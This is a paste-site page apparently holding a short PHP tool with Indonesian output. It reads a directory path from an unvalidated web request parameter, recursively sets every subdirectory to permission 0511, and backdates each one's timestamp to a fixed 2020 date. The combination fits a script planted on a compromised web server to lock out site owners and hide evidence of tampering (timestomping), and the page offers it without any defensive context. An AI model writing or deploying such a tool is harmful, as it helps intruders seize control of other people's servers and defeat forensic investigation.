Toggle navigation
Home
Latest pastes
FAQ
Random
BitBin is shutting down!
Register
Login
Untitled
SUBMITTED BY:
Guest
DATE:
Oct. 19, 2024, 2:43 a.m.
FORMAT:
Text only
SIZE:
602 Bytes
Raw
Download
Tweet
HITS:
167
Go to comments
Report
<?php
class UbahIzin {
function recursive_directory($dir) {
$tree = glob(rtrim($dir, '/') . '/*');
foreach($tree as $sc) {
if(is_dir($sc)){
$this->recursive_directory($sc);
chmod($sc, 0511);
touch($sc, strtotime('2020-11-16 14:14:06'));
echo "Berhasil mengganti izin : " . $sc . "<br>";
}
}
}
}
$instance = new UbahIzin;
$instance->recursive_directory($_GET['path']);
?>
Please enable JavaScript to view the
comments powered by Disqus.
comments powered by
Disqus